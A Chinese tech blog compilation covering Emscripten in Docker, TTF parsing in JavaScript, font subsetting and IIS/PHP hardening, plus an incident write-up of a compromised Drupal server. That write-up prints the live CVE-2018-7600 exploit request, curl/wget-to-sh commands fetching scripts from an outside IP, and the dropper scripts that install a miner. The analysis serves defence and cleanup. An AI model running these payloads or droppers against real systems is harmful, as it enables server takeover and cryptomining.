Docker搭建Emscripten的WebAssembly编译环境

众所周知,javascript是目前制作网页应用最为广泛的脚本语言,它的特点是简单易用,灵活多变。但是javascript毕竟是一门解释型语言,最大的问题就是运行速度比C语言等静态类型语言慢很多。为解决此问题,WebAssembly应运而生。

Docker搭建Emscripten的WebAssembly编译环境

顾名思义,Webassembly就是运行在网页上的“汇编”。既然是“汇编”,那么诸如C/C++,Rust,Go等静态语言就可以通过合适的编译器编译为WebAssembly。

Emscripten是一套广泛应用于C/C++编译为Webassembly的工具集。但由于众所周知的原因,按照网上的方法,这个Emscripten环境很难安装成功。 不过已经有人做好了Emscripten环境的Docker镜像,我们拿来用即可。

按照以下步骤操作即可

printf '#include<iostream> \nint main() { std::cout<<"hello world"<<std::endl; return 0;}' >  helloworld.cpp #写入c++代码到文件
docker run \
  --rm \ #执行完毕后删除容器
  -v $(pwd):/src \ #把当前目录挂载到容器的/src目录
  trzeci/emscripten \ #emscripten环境镜像
  emcc helloworld.cpp -o helloworld.html #编译单文件C++文件
python3 -m http.server 8080 #此时打开localhost:8080即可看到相应页面

Drupal网站捉马记

问题出现

Drupal网站页面打不开了,浏览器显示500错误。 登陆centos服务器,查看CPU,发现有一个apache用户的进程,进程名是[[^$I$^]],占用CPU达到100%。

CPU-100%

显然,网站被入侵了,而且十有八九又是挖矿代码。

照以往的做法,重装系统和网站完事,但没找到问题的根源,指不定什么时候又会出问题。不如这次试试能不能抓到这只马,顺便长长经验。

初次尝试

首先用命令kill -9 进程号,尝试杀死这个进程。杀掉之后,又重新启动起来,没有用。重新启动主机,这个进程还是跳来跳去。

一番百度后,有人说恶意代码可能是开机启动或者定时启动。然后到/etc文件夹下检查了诸如cron.d、rc.d等文件夹下的脚本,发现大多是一些系统服务启动脚本,翻来覆去也没有找到什么有价值的东东。

既然暂时杀不死,那限制它的cpu占用率总该可以吧?又查了一番,还真有个cpulimit的软件能限制这个进程的cpu使用率。

yum install cpulimit
cpulimit -l 1 -p 进程号 & #限制木马进程的cpu占用率为1%

好了,操作起来没那么卡了,但是网站还是一片空白。

再次尝试

既然杀不死这个木马,那能不能定位这个木马程序的位置和代码呢? 还好,从洋洋洒洒的广告中找到了需要的答案。

在/proc/进程号目录下,有当前进程的详细信息。其中的exe指向的文件就是启动这个进程的可执行文件。

proc-num

进入目录,执行ll,发现了,可行性文件在/var/tmp目录下,但后边显示了个deleted。什么情况?狡猾的木马执行起来之后,又把自己删了,让我们无迹可寻,厉害!

不过。。。把tmp目录禁止写入禁止执行,是不是木马就运行不起来了呢? 经过一番设置,然后kill之后,木马进程好像没有了,网站也恢复正常。

但是!!几个小时后,网站又是一片空白--500。

转机出现

折腾了很久很久,还是没有搞定这只马。正当自己考虑要不要重装系统的时候,忽然想到,访问日志文件中会不会有什么蛛丝马迹。毕竟,木马进程是apache用户启动,说明木马没有拿到最高权限,可能就是个webshell。apache访问日志cat一下,cat /var/log/httpd/access_log。

post

这次运气不错,一下子看到一个POST请求有问题。全站都打不开了,显示500错误,但是这个POST请求响应结果竟然是200!!那说明这个请求可能就跟木马有关。

木马分析

这条POST请求的url用解码一下看看,

POST //?q=user/password&name[#post_render][]=system&name[#markup]=kill -9 -1; nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name[#type]=markup

其中有一条shell语句,单独拿出来分析一下

kill -9 -1;  #把自己的父进程杀死?
nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; #wget下载远程脚本并执行
nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name # curl下载远程脚本并执行 

这个脚本是什么呢?下载下来看看

#!/bin/sh
id0="[[^$I$^]]" #这个就是服务器中木马进程的名称
id1="atnd"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"#看看能不能找到木马进程
if [ $? -ne 0 ];then #如果找不到木马进程的话,$?的值就是1,下面就是下载脚本启动进程
kill -9 -1;wget -O - http://164.132.159.56/drupal/bups.sh|sh ;  curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo "......."
fi

bups.sh脚本又是什么东东呢?下载下来看看。

#!/bin/sh
id0="[[^$I$^]]" #进程名称
id1="atnd" 
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $? -ne 0 ];then #如果没有找到木马进程,就启动木马
if [ -x "/tmp/" ] || [ -w "/tmp/" ];then
rm -rf /tmp/.*
rm -rf /tmp/*
chmod  777 /tmp/atnd #把文件权限设置行777
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`#添加执行权限并执行
/tmp/`echo $id1` &
else
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
chmod 777 /var/tmp/atnd
wget -O /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
/var/tmp/`echo $id1` &
fi
else
echo "Running....."
fi

这一段是下载真正的木马,然后启动它。因为它把/tmp目录权限设置成777了,所以之前尝试禁止写入文件没有效果。

分析了木马了,下边的步骤就是水到渠成了。

问题解决

百度搜索木马的POST请求url,结果发现这是利用了drupal的SA-CORE-2018-002漏洞。这个漏洞可以执行恶意代码,进而完全控制整个网站。

drupal-CVE-2018-7600

按照官方教程更新相关文件。

之后重启服务器,问题消失,网站恢复正常。

[译]JS解析TTF字体文件

把字体拖到下边的方框,获取其中的奥妙!点此获取示例ttf字体文件。

TTF文件拖到这里


在这篇文章,我们计划操作如下:

  1. 将字体文件拖入网页,并读取之
  2. 尽管ttf文件是为C语言读取设计的,但我们仍试图解析之
  3. 读取文件的字形数目,并定位各个字形轮廓的位置
  4. 解析每个字形轮廓
  5. 最后,把这些字形轮廓呈现到网页上

本文由原始文档从零开始解析ttf文件,并获取字形轮廓坐标。如果需要完整解析ttf文件,并获取字体文件的各个属性,以下第三方库可能是更优选择:

Javascript Python C Php
opentype.js fonttools otfcc php-font-lib

-----译者注

用Javascript读取文件

这... 好像很危险。 不过,放心吧,只有把文件拖动到网页上,才能用javascript读取它。通过处理dragover(拖入方框)和drop(释放鼠标)事件,我们可以读取拖进方框的文件。

在页面接听到drop事件的时候,可以获取该文件的引用(指针),进而读取该文件。这个操作无需与服务器进行交互。 我们还得处理dragover事件,不然它将不能工作。

var dropTarget = document.getElementById("dropTarget");
dropTarget.ondragover = function(e) {
    e.preventDefault();
};
dropTarget.ondrop = function(e) {
    e.preventDefault();

    if (!e.dataTransfer || !e.dataTransfer.files) {
        alert("没有读取到文件");
        return;
    }

    var reader = new FileReader();
    reader.readAsArrayBuffer(e.dataTransfer.files[0]);
    reader.onload = function(e) {
        ShowTtfFile(reader.result);
    };

};

HTML5文件对象不太方便后续的操作。要想获取文件的原始数据,只能用FileReader异步读取它。我们可以读取为base64编码的字符串或ArrayBuffer。在这里,我们读取ttf文件为ArrayBuffer类型。

解析C结构体

TrueType文件设计的时候,计算机内存还很小。它的设计思路是,先把硬盘上的字体文件拷贝到运行内存,然后在适当的位置读取。字体文件中甚至直接存入了C结构体。要读取TrueType文件,只要把它加载到内存就可以了。我们将做类似的事情。不过,首先需要一些功能函数,以便在文件适当的位置查找并读取各种数据类型。 这个类可以实现以上目的。

function BinaryReader(arrayBuffer)
{
    assert(arrayBuffer instanceof ArrayBuffer);
    this.pos = 0;
    this.data = new Uint8Array(arrayBuffer);
}

BinaryReader.prototype = {
    seek: function(pos) {
        assert(pos >=0 && pos <= this.data.length);
        var oldPos = this.pos;
        this.pos = pos;
        return oldPos;
    },

    tell: function() {
        return this.pos;
    },

    getUint8: function() {//读取单字节无符号整型
        assert(this.pos < this.data.length);
        return this.data[this.pos++];
    },

    getUint16: function() {//读取双字节无符号整型
        return ((this.getUint8() << 8) | this.getUint8()) >>> 0;
    },

    getUint32: function() {//读取四字节无符号整型
       return this.getInt32() >>> 0;
    },

    getInt16: function() {//读取双字节有符号整型
        var result = this.getUint16();
        if (result & 0x8000) {
            result -= (1 << 16);
        }
        return result;
    }, 

    getInt32: function() {//读取四字节有符号整型
        return ((this.getUint8() << 24) | 
                (this.getUint8() << 16) |
                (this.getUint8() <<  8) |
                (this.getUint8()      ));
    }, 

    getFword: function() {
        return this.getInt16();
    },

    get2Dot14: function() {//读取定点数,00.00000000000000
        return this.getInt16() / (1 << 14);
    },

    getFixed: function() {//读取定点数,00.00
        return this.getInt32() / (1 << 16);
    },

    getString: function(length) {//由arraybuffer转字符串(ascii编码)
        var result = "";
        for(var i = 0; i < length; i++) {
            result += String.fromCharCode(this.getUint8());
        }
        return result;
    },

    getDate: function() {//读取日期
        var macTime = this.getUint32() * 0x100000000 + this.getUint32();
        var utcTime = macTime * 1000 + Date.UTC(1904, 1, 1);
        return new Date(utcTime);
    }
};

定点数

除了无符号及有符号8位、16位和32位整型,字体文件中还需要一些其他数据类型。某些特定位数的小数可以用定点数来表示。类似于定点算术,我们只使用二进制而非十进制。假设我们打算写入十进制数字1.53,由于1.53转换成二进制是循环小数,因此不能精确写入文件,不过我们将其改写为153再存入文件。只要把它再除以100,就可以欲获得原始数据1.53。

有关Javascript中的数据类型

Javascript中的数据类型是变化无常的,它通常是32位整型。只要它认为是必要的,就会从有符号类型自动转换为无符号类型。即使不需要,js也可能把数据转换成64位双精度浮点数(double float)。

不过,可以用无符号右移位运算符(>>>)将数据类型强制转换为无符号数。将一个数右移0位,其内部类型就转为无符号整型了。

寻找宝藏

TrueType字体格式的详细说明在苹果公司网站。Truetype文件头是偏移表,记录了其余表在文件中的位置。我们将深入一些表来获取字形轮廓。

每个表有一个校验和,以此保证其正确性。校验和可以通过将该表的所有4字节整数相加模2^32得到。 这段代码用来读取每个表的相对于整个文件的偏移量。

function TrueTypeFont(arrayBuffer)
{
    this.file = new BinaryReader(arrayBuffer);
    this.tables = this.readOffsetTables(this.file);
    this.readHeadTable(this.file);
    this.length = this.glyphCount();
}

TrueTypeFont.prototype = {
    readOffsetTables: function(file) {
        var tables = {};
        this.scalarType = file.getUint32();
        var numTables = file.getUint16();
        this.searchRange = file.getUint16();
        this.entrySelector = file.getUint16();
        this.rangeShift = file.getUint16();

        for( var i = 0 ; i < numTables; i++ ) {
            var tag = file.getString(4);
            tables[tag] = {
                checksum: file.getUint32(),
                offset: file.getUint32(),
                length: file.getUint32()
            };

            if (tag !== 'head') {
                assert(this.calculateTableChecksum(file, tables[tag].offset,
                            tables[tag].length) === tables[tag].checksum);
            }
        }

        return tables;
    },

    calculateTableChecksum: function(file, offset, length)
    {
        var old = file.seek(offset);
        var sum = 0;
        var nlongs = ((length + 3) / 4) | 0;
        while( nlongs-- ) {
            sum = (sum + file.getUint32() & 0xffffffff) >>> 0;
        }

        file.seek(old);
        return sum;
    },

好了,现在我们定位了各个表的位置。不过,接下来我们需要读取“head”表。除了记录字体尺寸,更重要的是它定义了字形索引的格式。

    readHeadTable: function(file) {
        assert("head" in this.tables);
        file.seek(this.tables["head"].offset);

        this.version = file.getFixed();
        this.fontRevision = file.getFixed();
        this.checksumAdjustment = file.getUint32();
        this.magicNumber = file.getUint32();
        assert(this.magicNumber === 0x5f0f3cf5);
        this.flags = file.getUint16();
        this.unitsPerEm = file.getUint16();
        this.created = file.getDate();
        this.modified = file.getDate();
        this.xMin = file.getFword();
        this.yMin = file.getFword();
        this.xMax = file.getFword();
        this.yMax = file.getFword();
        this.macStyle = file.getUint16();
        this.lowestRecPPEM = file.getUint16();
        this.fontDirectionHint = file.getInt16();
        this.indexToLocFormat = file.getInt16();
        this.glyphDataFormat = file.getInt16();
    },

诸如字形之间的水平距离,建议的最小高度,创建日期等属性,可以从许多表得到。不过我们要专注于埋藏的宝藏 - 字形轮廓。 字形轮廓在“glyf”表中。字形是高度压缩的,每个字形的长度也不同。要快速找到某个字形的位置,我们必须先读取“loca”表---字形索引表。

head表的“indexToLocFormat”值决定了“loca”表是一个2字节还是一个4字节值的数组。如果indexToLocFormat为1,那么loca表每个元素占用4个字节,记录了字形在glyf表的位置序号;否则,loca表每个元素占用2个字节,这个元素乘以2就是是字形在glyf表的位置序号。这样的设计不会导致数据的错乱。

    getGlyphOffset: function(index) {
        assert("loca" in this.tables);
        var table = this.tables["loca"];
        var file = this.file;
        var offset, old;

        if (this.indexToLocFormat === 1) {
            old = file.seek(table.offset + index * 4);
            offset = file.getUint32();
        } else {
            old = file.seek(table.offset + index * 2);
            offset = file.getUint16() * 2;
        }

        file.seek(old);

        return offset + this.tables["glyf"].offset;
    },

现在,给定任何字形的索引,就可以定位该字形的位置。不过接下来,有点小麻烦。

如果两个图形彼此重叠,且路径方向不同(一个逆时针,一个顺时针),那么第二个将切掉第一个形状。字体依照这个约定来从轮廓构建形状。例如,字母O需要有两个轮廓 - 一个用于外圆,一个用于内圆。

不过有两种字形。一种是简单字形,由轮廓构成,如上所述;另一种是复合字形,由简单字形复合而成。要绘制复合字形,我们必须把每个简单字形部件放到到正确的位置。这样,复合字形就能处理带重音的字符(如汉语拼音)。正因为此,字母的重音版本占用的空间非常小。

为了专注于获取字体的精华,我们将暂不考虑复合字形。在这里只是提取那些简单字形。

解析轮廓

此函数将解析字形头,然后调用正确的函数来读取字形。

    readGlyph: function(index) {
        var offset = this.getGlyphOffset(index);
        var file = this.file;

        if (offset >= this.tables["glyf"].offset + this.tables["glyf"].length)
        {
            return null;
        }

        assert(offset >= this.tables["glyf"].offset);
        assert(offset < this.tables["glyf"].offset + this.tables["glyf"].length);

        file.seek(offset);

        var glyph = {
            numberOfContours: file.getInt16(),
            xMin: file.getFword(),
            yMin: file.getFword(),
            xMax: file.getFword(),
            yMax: file.getFword()
        };

        assert(glyph.numberOfContours >= -1);

        if (glyph.numberOfContours === -1) {
            this.readCompoundGlyph(file, glyph);
        } else {
            this.readSimpleGlyph(file, glyph);
        }

        return glyph;
    },

简单字形以压缩格式存储。通过使用一系列单字节标识,可以很好地处理重复点以及邻点之间的变动情况。对每一个XY坐标,每个标识字节指示对应点是存储在一个字节还是两个字节中。标志数组之后是X坐标,最后是Y坐标数组。这样设计的好处是,如果X或Y坐标没改变,那么只需要一个字节就可以存储这个点。

我们读取每一个字形,并把这些点拼成(x,y)坐标数组,并记录对渲染非常重要的标识。

 readSimpleGlyph: function(file, glyph) {

        var ON_CURVE        =  1,
            X_IS_BYTE       =  2,
            Y_IS_BYTE       =  4,
            REPEAT          =  8,
            X_DELTA         = 16,
            Y_DELTA         = 32;

        glyph.type = "simple";
        glyph.contourEnds = [];
        var points = glyph.points = [];

        for( var i = 0; i < glyph.numberOfContours; i++ ) {
            glyph.contourEnds.push(file.getUint16());
        }

        // skip over intructions
        file.seek(file.getUint16() + file.tell());

        if (glyph.numberOfContours === 0) {
            return;
        }

        var numPoints = Math.max.apply(null, glyph.contourEnds) + 1;

        var flags = [];

        for( i = 0; i < numPoints; i++ ) {
            var flag = file.getUint8();
            flags.push(flag);
            points.push({
                onCurve: (flag & ON_CURVE) > 0
            });

            if ( flag & REPEAT ) {
                var repeatCount = file.getUint8();
                assert(repeatCount > 0);
                i += repeatCount;
                while( repeatCount-- ) {
                    flags.push(flag);
                    points.push({
                        onCurve: (flag & ON_CURVE) > 0
                    });
                }
            }
        }

        function readCoords(name, byteFlag, deltaFlag, min, max) {
            var value = 0;

            for( var i = 0; i < numPoints; i++ ) {
                var flag = flags[i];
                if ( flag & byteFlag ) {
                    if ( flag & deltaFlag ) {
                        value += file.getUint8();
                    } else {
                        value -= file.getUint8();
                    }
                } else if ( ~flag & deltaFlag ) {
                    value += file.getInt16();
                } else {
                    // value is unchanged.
                }

                points[i][name] = value;
            }
        }

        readCoords("x", X_IS_BYTE, X_DELTA, glyph.xMin, glyph.xMax);
        readCoords("y", Y_IS_BYTE, Y_DELTA, glyph.yMin, glyph.yMax);
    }

在网页中绘制字形

最后,我们应该为所有的努力展示一些东西 -- 绘制字形。我们可以用HTML5画布API绘制。

这个函数用来控制整个流程。首先,从拖放事件中读取数组,并创建TrueType对象;接下来,删除之前绘制的字形;然后,针对每个字形,创建一个canvas元素并缩放字形,使其高度为字母\'M\'的高度--64像素;最后,由于字体坐标原点在屏幕左下角,但canvas坐标原点在左上角,所以需要垂直翻转一下。

function ShowTtfFile(arrayBuffer)
{
    var font = new TrueTypeFont(arrayBuffer);

    var width = font.xMax - font.xMin;
    var height = font.yMax - font.yMin;
    var scale = 64 / font.unitsPerEm;

    var container = document.getElementById("font-container");

    while(container.firstChild) {
        container.removeChild(container.firstChild);
    }

    for( var i = 0; i < font.length; i++ ) {
        var canvas = document.createElement("canvas");
        canvas.style.border = "1px solid gray";
        canvas.width = width * scale;
        canvas.height = height * scale;
        var ctx = canvas.getContext("2d");
        ctx.scale(scale, -scale);
        ctx.translate(-font.xMin, -font.yMin - height);
        ctx.fillStyle = "#000000";
        ctx.beginPath();
        if (font.drawGlyph(i, ctx)) {
            ctx.fill();
            container.appendChild(canvas);
        }
    }

}

这里展示了它们是如何绘制的。在此函数中,我们忽略了曲线上的控制点,简单连接了轮廓中的每个点。

 drawGlyph: function(index, ctx) {

        var glyph = this.readGlyph(index);

        if ( glyph === null || glyph.type !== "simple" ) {
            return false;
        }

        var p = 0,
            c = 0,
            first = 1;

        while (p < glyph.points.length) {
            var point = glyph.points[p];
            if ( first === 1 ) {
                ctx.moveTo(point.x, point.y);
                first = 0;
            } else {
                ctx.lineTo(point.x, point.y);
            }

            if ( p === glyph.contourEnds[c] ) {
                c += 1;
                first = 1;
            }

            p += 1;
        }

        return true;
    }

源码下载| 原文Let's read a Truetype font file from scratch

五款实用的字体裁剪字体子集工具

中文字体文件体积一般都比较大,要想用在在线网页或者离线应用中,往往需要对字体进行剪裁,以减小字体文件的体积。本文列出了比较实用的几款字体子集工具,可以根据实际需要选用。

1. Fontmin

这是百度开发的一款专门用于生成字体子集的工具,选择字体文件并输入需要的文字后,可以同时生成ttf、eot、svg、woff等网页字体格式,还会生成相应css文件,方便用于网页。不过这款工具体积稍微有点大(内嵌了一个浏览器,解压后70M+),启动速度稍慢。

Fontmin


Fontmin项目地址 | 点此下载Fontmin(35M+)

2. 在线字体裁剪工具

本站提供的一款在线字体子集提取工具,输入需要的文字,选择字体文件后,点击生成即可生成需要的字体文件。比较方便快捷,但是需要有网络连接才可以使用。

字体子集生成


在线字体裁剪工具地址

3. FontTools

这是一个python的模块,运行以下命令即可完成安装。

pip install fonttools

基本使用也很方便, 只需要这样一行命令

pyftsubset font.ttf --text="汉字"

fonttools是一个全功能的字体工具,更多功能可以参阅项目地址。


FontTools项目地址

4. SfntTool

SfntTool来自google开发的一款字体编辑工具sfntly,运行需要有JAVA环境(jre)。 基本用法是

java -jar sfnttool.jar -s '需要的字体的文字信息' 原始字体.ttf 目标字体.ttf

SfntTool项目地址 | sfnttool.jar下载地址

5. FontForge

FontForge是一款功能齐全的开源免费软件,拥有可视化操作界面,可以方便地编辑调整各个字形,裁剪字体当然不在话下,不过这个界面稍显简朴。 FontForge


FontForge项目地址 | FontForge下载地址

IIS动态IP限制抵御CC攻击和网络爬虫

IIS8新增了一个动态IP限制功能,可以限制同一IP的连接数和访问频率。IIS7则可以安装官方模块Dynamic IP Restrictions实现相同功能。

IIS8启用方法

  1. 默认情况下,IIS 8.0是没有安装“IP和域限制”模块的,我们需要到“服务器管理器”中单独安装下。 第四度
  2. 在IIS8点击相应站点,找到IP地址和域限制,双击进入。
  3. 在右边栏点击“编辑动态限制设置”,会弹出相应设置对话框。
  4. 设置同一IP连接数和请求频率,可以根据网站具体情况调整相关参数。

第四度

IIS7安装方法

IIS7默认没有此功能,不过安装官方模块Dynamic IP Restrictions后可以实现相同功能,模块地址在这里,使用方法如下。

  1. 在官网下载对应系统版本的模块,并双击安装,32位版本/64位版本【如果官网地址失效,点此下载】。
  2. 重启iis界面管理器,之后,点击需要设定的网站,可以看到下图所示。 第四度
  3. 双击模块Dynamic IP Restrictions,进入相应设置,可以根据网站实际情况调整。 ![第四度]

批量导出东方财富数据

这是一款浏览器插件,用于把东方财富网上所有分页数据展开成一页,并可以复制到Excel表格中。适用于chrome、360、百度浏览器。

使用方法:

  1. 解压后,用360浏览器打开插件,安装即可。
  2. 插件激活后,每个页面显示至多5000条数据,点击表头,就可以把当前表数据复制到剪贴板,此时打开Excel就可以粘贴到表格中相关数据。

注意:本站发布此工具已经超过一年时间,可能当前已经不再适用,您可以留言发布您的具体需求或者添加站长帮您解决问题

点击下载

2
3

PHP网站eval的禁用

1

禁用PHP网站的某些危险函数可以提高网站的安全性,只需要将相应的函数加入配置文件php.ini的禁用列表:

disable_functions = exec,system,chroot,scandir,chgrp,chown,shell_exec

但是木马中一个很常见的函数eval,却不能用这种方法禁止。因为,就PHP解释器的实现而言,eval本质上是跟require,include地位等同。要禁用eval,必须要在php底层实现。 常用的方法是编译安装php扩展suhosin ,并在配置文件php.ini中加入

suhosin.executor.disable_eval = on

PHP网站bom的清理

有时候,在php网站迁移或者安装结束后,会发现某些页面显示空白,某些验证码图片显示不正常。通常这种情况很有可能是因为使用记事本修改网站配置文件,导致相应文件被记事本添加了BOM头,这是三个二进制为0xEF 0xBB 0xBF的文件标记。 对这种情况,一般有两种方法处理。

  1. 使用专业代码编辑器【如notepad++】修改配置文件,并保存为utf-8无bom格式。
  2. 使用自动脚本自动清理。只需要把以下bom.php上传到网站根目录,并访问http://域名/bom.php 就可以自动清理相应bom,清理完毕后,记得删除相应文件即可。

1

点击此处下载

<?php
//remove the utf-8 boms
header("Content-type: text/html; charset=utf-8");
ini_set('memory_limit','100M');
if (isset($_GET['dir'])){ //config the basedir
    $basedir=$_GET['dir'];
}else{
    $basedir = '.';
}

$auto = 1;

checkdir($basedir);

function checkdir($basedir){
    if ($dh = opendir($basedir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file != '.' && $file != '..'){
                if (!is_dir($basedir."/".$file)) {
                    echo "文件名: $basedir/$file ".checkBOM("$basedir/$file")." <br>";
                }else{
                    $dirname = $basedir."/".$file;
                    checkdir($dirname);
                }
            }
        }
    closedir($dh);
    }
}

function checkBOM ($filename) {
    global $auto;
    $contents = file_get_contents($filename);
    $charset[1] = substr($contents, 0, 1);
    $charset[2] = substr($contents, 1, 1);
    $charset[3] = substr($contents, 2, 1);
    if (ord($charset[1]) == 239 && ord($charset[2]) == 187 && ord($charset[3]) == 191) {
        if ($auto == 1) {
            $rest = substr($contents, 3);
            rewrite ($filename, $rest);
            return ("<font color=red>已经自动移除PHP文件BOM</font>");
        } else {
            return ("<font color=red>文件含BOM</font>");
        }
    }
    else return ("文件无BOM");
}

function rewrite ($filename, $data) {
    $filenum = fopen($filename, "w");
    flock($filenum, LOCK_EX);
    fwrite($filenum, $data);
    fclose($filenum);
}

网站访问速度过慢的解决方案

1

网站建设过程中,有时候会发现网站的访问速度变慢。而网站访问速度过慢会导致访客体验下降,搜索引擎排名下滑,访客数量减少。因此排查原因并提高访问速度就显得尤为重要。

网站访问速度下降通常有以下几种原因:

  1. 网站访问量过大,导致网站CPU、内存、带宽占用过高。解决方案是增加带宽,升级服务器配置。
  2. 网站遭受CC攻击或者有爬虫恶意访问网站。通过查看访问日志,可以发现大量请求记录来自于数量不多的IP,且相应IP没有请求JS、CSS、JPG等静态文件。解决方案是手动或自动封禁相应的IP。
  3. 部分页面需要优化。可能有部分数据库查询性能过差,或者网站使用的某些第三方服务发生异常,拖垮了整个网站的访问速度。解决方案是优化相应代码,更换第三方服务,页面静态化或者添加缓存。
  4. 网站被植入木马。木马程序中的恶意代码占用大量服务器资源,导致网站性能下降。解决方案是查找清理木马代码,并做好安全防护。

结语:通过多方排查,让网站拥有飞一样的速度,一定会提高访客体验,并最大化发挥网站的价值。